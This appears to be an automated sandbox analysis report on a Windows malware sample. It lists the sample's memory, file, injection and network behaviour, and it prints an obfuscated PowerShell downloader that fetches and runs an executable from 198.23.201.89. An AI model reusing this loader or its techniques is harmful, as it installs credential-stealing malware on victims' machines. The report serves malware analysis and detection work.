NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02508000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02509000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ee000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (1 event)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\

Creates executable files on the filesystem (4 events)

file	C:\Users\test22\AppData\Roaming\Auto%20R.exe
file	C:\Users\test22\AppData\Local\directory\.exe
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.vbs
file	C:\Users\test22\AppData\Local\Temp\sqlite3.dll

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function IoDuzQtSmLZDsM($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ){[IO.File]::WriteAllBytes($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ)};function voHIPLrDYNfT($NQBZAVZqPrIkQg){if($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36814,36822,36822))) -eq $True){rundll32.exe $NQBZAVZqPrIkQg }elseif($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36826,36829,36763))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $NQBZAVZqPrIkQg}elseif($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36823,36829,36819))) -eq $True){misexec /qn /i $NQBZAVZqPrIkQg}else{Start-Process $NQBZAVZqPrIkQg}};function bLCRUDAbBUWM($IqJPBCxyWYxTCQSt){$yWYjmjlURBEIl = New-Object (SYLmPANEWfVOJtmHRo @(36792,36815,36830,36760,36801,36815,36812,36781,36822,36819,36815,36824,36830));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OPgEpjTaIklYKXZ = $yWYjmjlURBEIl.DownloadData($IqJPBCxyWYxTCQSt);return $OPgEpjTaIklYKXZ};function SYLmPANEWfVOJtmHRo($nzshJXeE){$tskKTS=36714;$COiODkHcfwmaYFp=$Null;foreach($yAxoMiZElttnpFen in $nzshJXeE){$COiODkHcfwmaYFp+=[char]($yAxoMiZElttnpFen-$tskKTS)};return $COiODkHcfwmaYFp};function ZTRjGimAXeKUwvjzZO(){$usmWGjdJwVKwRXAINHG = $env:AppData + '\';$HhNblOezkUWRgv = $usmWGjdJwVKwRXAINHG + 'Auto%20R.exe'; if (Test-Path -Path $HhNblOezkUWRgv){voHIPLrDYNfT $HhNblOezkUWRgv;}Else{ $rPdsmVToBcNWuu = bLCRUDAbBUWM (SYLmPANEWfVOJtmHRo @(36818,36830,36830,36826,36772,36761,36761,36763,36771,36770,36760,36764,36765,36760,36764,36762,36763,36760,36770,36771,36761,36833,36811,36828,36823,36761,36779,36831,36830,36825,36751,36764,36762,36796,36760,36815,36834,36815));IoDuzQtSmLZDsM $HhNblOezkUWRgv $rPdsmVToBcNWuu;voHIPLrDYNfT $HhNblOezkUWRgv;};;;;}ZTRjGimAXeKUwvjzZO;

cmdline

powershell.exe -ExecutionPolicy UnRestricted function IoDuzQtSmLZDsM($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ){[IO.File]::WriteAllBytes($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ)};function voHIPLrDYNfT($NQBZAVZqPrIkQg){if($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36814,36822,36822))) -eq $True){rundll32.exe $NQBZAVZqPrIkQg }elseif($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36826,36829,36763))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $NQBZAVZqPrIkQg}elseif($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36823,36829,36819))) -eq $True){misexec /qn /i $NQBZAVZqPrIkQg}else{Start-Process $NQBZAVZqPrIkQg}};function bLCRUDAbBUWM($IqJPBCxyWYxTCQSt){$yWYjmjlURBEIl = New-Object (SYLmPANEWfVOJtmHRo @(36792,36815,36830,36760,36801,36815,36812,36781,36822,36819,36815,36824,36830));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OPgEpjTaIklYKXZ = $yWYjmjlURBEIl.DownloadData($IqJPBCxyWYxTCQSt);return $OPgEpjTaIklYKXZ};function SYLmPANEWfVOJtmHRo($nzshJXeE){$tskKTS=36714;$COiODkHcfwmaYFp=$Null;foreach($yAxoMiZElttnpFen in $nzshJXeE){$COiODkHcfwmaYFp+=[char]($yAxoMiZElttnpFen-$tskKTS)};return $COiODkHcfwmaYFp};function ZTRjGimAXeKUwvjzZO(){$usmWGjdJwVKwRXAINHG = $env:AppData + '\';$HhNblOezkUWRgv = $usmWGjdJwVKwRXAINHG + 'Auto%20R.exe'; if (Test-Path -Path $HhNblOezkUWRgv){voHIPLrDYNfT $HhNblOezkUWRgv;}Else{ $rPdsmVToBcNWuu = bLCRUDAbBUWM (SYLmPANEWfVOJtmHRo @(36818,36830,36830,36826,36772,36761,36761,36763,36771,36770,36760,36764,36765,36760,36764,36762,36763,36760,36770,36771,36761,36833,36811,36828,36823,36761,36779,36831,36830,36825,36751,36764,36762,36796,36760,36815,36834,36815));IoDuzQtSmLZDsM $HhNblOezkUWRgv $rPdsmVToBcNWuu;voHIPLrDYNfT $HhNblOezkUWRgv;};;;;}ZTRjGimAXeKUwvjzZO;

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\sqlite3.dll
file	C:\Users\test22\AppData\Local\directory\.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW June 5, 2024, 9:21 a.m.	show_type: 0 filepath_r: powershell.exe parameters: -ExecutionPolicy UnRestricted function IoDuzQtSmLZDsM($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ){[IO.File]::WriteAllBytes($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ)};function voHIPLrDYNfT($NQBZAVZqPrIkQg){if($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36814,36822,36822))) -eq $True){rundll32.exe $NQBZAVZqPrIkQg }elseif($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36826,36829,36763))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $NQBZAVZqPrIkQg}elseif($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36823,36829,36819))) -eq $True){misexec /qn /i $NQBZAVZqPrIkQg}else{Start-Process $NQBZAVZqPrIkQg}};function bLCRUDAbBUWM($IqJPBCxyWYxTCQSt){$yWYjmjlURBEIl = New-Object (SYLmPANEWfVOJtmHRo @(36792,36815,36830,36760,36801,36815,36812,36781,36822,36819,36815,36824,36830));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OPgEpjTaIklYKXZ = $yWYjmjlURBEIl.DownloadData($IqJPBCxyWYxTCQSt);return $OPgEpjTaIklYKXZ};function SYLmPANEWfVOJtmHRo($nzshJXeE){$tskKTS=36714;$COiODkHcfwmaYFp=$Null;foreach($yAxoMiZElttnpFen in $nzshJXeE){$COiODkHcfwmaYFp+=[char]($yAxoMiZElttnpFen-$tskKTS)};return $COiODkHcfwmaYFp};function ZTRjGimAXeKUwvjzZO(){$usmWGjdJwVKwRXAINHG = $env:AppData + '\';$HhNblOezkUWRgv = $usmWGjdJwVKwRXAINHG + 'Auto%20R.exe'; if (Test-Path -Path $HhNblOezkUWRgv){voHIPLrDYNfT $HhNblOezkUWRgv;}Else{ $rPdsmVToBcNWuu = bLCRUDAbBUWM (SYLmPANEWfVOJtmHRo @(36818,36830,36830,36826,36772,36761,36761,36763,36771,36770,36760,36764,36765,36760,36764,36762,36763,36760,36770,36771,36761,36833,36811,36828,36823,36761,36779,36831,36830,36825,36751,36764,36762,36796,36760,36815,36834,36815));IoDuzQtSmLZDsM $HhNblOezkUWRgv $rPdsmVToBcNWuu;voHIPLrDYNfT $HhNblOezkUWRgv;};;;;}ZTRjGimAXeKUwvjzZO; filepath: powershell.exe	1	1	0

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef80000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses June 5, 2024, 9:22 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (2 events)

Data received

j"Yf9Ûtf2ÛÛtë`ûtÏ3ÀMàfuÔßÿÿÔßÿÿPèAMôEàPè9Màè3ö2ÿuøuWÎèí<j Y·f;Átj Yf;Á<ÿÿÿGëÞ³uðé2ÿÿÿöt@ÛuF3ÀMàfuÔßÿÿÔßÿÿPè@MôEàPèÎMàè¦_^[å]ÂGéÈþÿÿÿu¼Ûtéë¶UðNÿéæUì;Q}BAMÿ4è¨B°]ÂMhùHè>2ÀëëÌÌÌÌÌÌÌÌÌÌSÙW3ÿ9{vTVd$s4¾ötFÿF8t$VèÑÄCÇ¸G;{rÐÇC^_[Ãÿ6èúÐÿvèòÐÄëÈ{ëäUìVñF9Fu/jX;Ès_W3ÉFjZ÷âÁ÷ÙÈQèBÐ~øYuB~_jè.ÐÐYÒtQE HJHJ@BÿNFÿF^]ÂÁëFÀt·ÁàPÿvWèmÐÿvèQÐÄë3ÒëÆVñÇhùHèîþÿÿÿvè2ÐY^Ã=iLt(V¡ iL¹iL0è%ötQÎè=iLuÚ^ÃUìQSVWjÙèwÏøYÿt=Oè97uOÆ}üÁàÃPèþ@Eü7Pèã_^[å]Â3ÿëÇV¾DjLÉu/Æþ`rL|ïh0jLh,jLè&h<jLh8jLè^é;ÿÿÿQèå&ëÆUìäøìÌ=bLVñ×hL$è?:=bL3ÀfD$D$PL$èÓ;=bLL$~`hÐbLè;h´$ jPèî¡¬bLL$$T$Ä3öÇ$¨F$´$ hÇ$(èkYD$P$4PèîYY$PVÿ¼ôHL$èd^å]ÃF\Pè?ékÿÿÿUìVuW}?'_Æ^]Â hLÿ3À ¤hLÿ¹¬hLVWh¼ùH£hLÇhLf£hLÆhLÇhL £¨hLèÂ<h ùH¹¼hLè³<¹ÌhLè/5¹ÜhLè%5¹ìhLè5¡¬hL¾4iL£ühL¡°hL£iL¡´hL£iL¡¸hL£iLj_ÿ¡¼hL£iL¡ÀhL£iL¡ÄhL£iL¡ÈhL£iLÿ3À£iL£ iL£$iL¢0iLÎè¢4ÆOyó drLÿ3À_f£$jL£(jL£,jL¢0jL£4jL£8jL¢<jL£@jL£`rL¸hL^ÃVWèVýÿÿj¾$jL_îÎèáOyó¡ iLÀ»¹iLèÇ¹ühLè½¹ìhLè³¹ÜhLè©¹ÌhLè¹¼hLè_¹¬hL^éUìäøì¼SVWh´3ÛÇD$¨D$ñSPèìÄ9u¡ÄbL9¤u¡ÈbL¤¨9°u¡ÌbL° S¾Wè¸ýÿÿ¡¬bL3ÉD$ÇD$ÇD$ÇD$ L$$9N@ØD$$=bLD$PtQÿ¼ôHÆbLÎèSüÿÿ_^[å]Ãjÿ¼ôHëèUìì¸=bLtP3Àh´P¢bLLüÿÿPè$ë¡¬bLÄLüÿÿHüÿÿÇHüÿÿ¨ÇPüÿÿPjÿ¼ôHå]ÃUììÀÿMSVWñh´HüÿÿÇDüÿÿ¨jPè»êÄÎèûÿÿ}3ÛC=bLt5=bL½HüÿÿLüÿÿÇPüÿÿî~ ÿ8t SWÿ÷HjhîSWÿ÷H_^[å]ÂÆéÛUìì<SVWj,EÈÇEÄ0jPùè"êEÄÐ 3öMüj[jZ-Çj@^jõÏèCúÿÿwo_^[å]ÂUìVuWùötFÿPRWèüÄ3ÀfDwþ_^]ÃVñNèôVèöÉYÆ^ÂVWùGPpèßÉÿwYöu!w_^ÃUìVjñèLÉUYÈa~u NÿN^]ÂFHëîUìEVu¯ÆW}øë+}ÏÿUNyõ_^]ÂUììXSVñUøWMØè¸0M¨è°0MÈè¨0M¸è 0MèEèFEìFEðFhÀúHEôÿèâ6ËÿMÈ;Ã pSVEèPèB2SVMèè7hûHMÈè¯6ð;ótSVEÈPM¸è2SVMÈèî6]ì3öûv8VMèèo3j\_f98TjMèè3f8:uj_WVEèPMØèÍ1÷jÿVEèPM¨è¼1EøÀtMØQÈè¦9MÉt E¨Pè9MÉu6MÉu:Mèè=M¸è5MÈè-M¨è%MØè_^[å]ÃEÈPèP9ë¿E¸PèE9ë»Uì¸èÓVhÿðÿþÿñPjÿ¨ñHðÿþÿPMðèª6ÖMðè Mðè»^å]ÃUì¸èÕÒVjÿÿòPhÿÿ1ÿ`óHÎÀtÿÿPèF4hÀúHÎè/^å]Ãèð5ëèUìQEVW=xbLøÿ,jj^VVjjcWÿD÷H_^å]ÃUìäø¡(tLì xVW²EL$3ÿ£xbL3ö=|bLF=pbL|$|$t$|$|$ t$$èPD$ÇD$D$ÿd÷Hh¼E£°bLèìYVèfìY ,tLè¡ÿuèñÿÿ¡,tLjÿpWh ÿ@÷H5|bLL$è9PL$è0PÆ_^å]Â3À@ëó¡,tLÀtPè^ÆYÃVjèÞÅðYötèp5,tL¸,tL^Ã3öëïUììSVÿ4÷H]ð;Þ13À@^[å]ÂUìQSW3ÛEüSPSh ù]üÿ@÷HEüjSSh Gÿ@÷H_[å]Ã¡dbL¨uÈh¸·C£dbLèÑäY¸ tLÃV5(tLötNèVèÅY^ÃVj<èÅðYötè®ÿÿÿQÎè£(tL¸(tL^Ã3ÀëðUììTSVñW~Ïè±,¬þÿÿÆF8PÇ¬þÿÿÿñH°þÿÿÏ´þÿÿF¸þÿÿFÀþÿÿPèÓ13À9GÈÿÏøÿþPjè3hìúHÏè-3ÉfN3NN N$N

Data received

(N,fN0N2j[èÝHF^^ÀK;Ã^ø^'^%^!^)8]Æa^(EüMüPÿ`òHPÿñH9]üu^4eÈ}Ìj3ÀYó«8F4ti!EðMð!EøègÀtKMðè[ÀEøt5MÈQÿÐ}ðt ÿuðÿñHfEÈfF6Æ_^[å]Âé Péýþÿÿ¸R·CëÄEÈPÿñHë¾EÈPÿñHëÁVñ~u hûHÿñHÀthûHPÿ ñHF3À9F^ÀÃUììeôeüVñMôè³ÀtMôè§ÀEütÿ6ÿÐ}ô^t ÿuôÿñHå]Ã¸R·CëáUììVñ3ÀMôEôEüè3ÀtMôè'ÀEütVÿÐ}ôt ÿuôÿñHÆ^å]Ã¸R·CëàVñ~u hûHÿñHÀthpKPÿ ñHF3À9F^ÀÃVñ~u hûHÿñHÀth pKPÿ ñHF3À9F^ÀÃÌÌÌÌÌÌÌÌÌUìì(SVWhÙèÂÄMìPè3Ò¶8SJDØ¶@SJDàBú|äjEèh¨=LPèaÂÄ{µÿ3ËèòðE{á¹ÿ3QjÿuìËè Eøø|cxì3Òÿ~0uìÆ3Àë¤$LØ:Lþt2ø=BF;×|ÜEøu{u$jÆìËjìÿ3ðuèëLÙ:Lÿt-@ëÁ¾Mìè_Æ^[å]Â}Ët8èûé9ÿÿÿLÚ:tÀëLÛ:Lu*LÜ:L¦ÀéiÿÿÿèL

Poweshell is sending data to a remote host (1 event)

Data sent

GET /warm/Auto%20R.exe HTTP/1.1 Host: 198.23.201.89 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 5, 2024, 9:21 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Created a process named as a common system process (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW June 5, 2024, 9:22 a.m.	thread_identifier: 2572 thread_handle: 0x0000013c process_identifier: 2568 current_directory: filepath: C:\Windows\System32\svchost.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\Auto%20R.exe" filepath_r: C:\Windows\System32\svchost.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000134	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

198.23.201.89

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\directory\.exe

A potential heapspray has been detected. 129 megabytes was sprayed onto the heap of the powershell.exe process (1 event)

count

2072

name

heapspray

process

powershell.exe

total_mb

129

length

65536

protection

PAGE_READWRITE

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send June 5, 2024, 9:22 a.m.	buffer: GET /warm/Auto%20R.exe HTTP/1.1 Host: 198.23.201.89 Connection: Keep-Alive socket: 1436 sent: 80	1	80	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2456 called NtSetContextThread to modify thread in remote process 2568
NtSetContextThread June 5, 2024, 9:22 a.m.	registers.eip: 2005598660 registers.esp: 3013908 registers.edi: 0 registers.eax: 4199888 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000013c process_identifier: 2568	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Roaming\Auto%20R.exe
parent_process	powershell.exe				martian_process	"C:\Users\test22\AppData\Roaming\Auto%20R.exe"

Creates a suspicious Powershell process (2 events)

option	-executionpolicy unrestricted				value	Attempts to bypass execution policy
option	-executionpolicy unrestricted				value	Attempts to bypass execution policy

The process powershell.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Users\test22\AppData\Roaming\Auto%20R.exe

dion.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All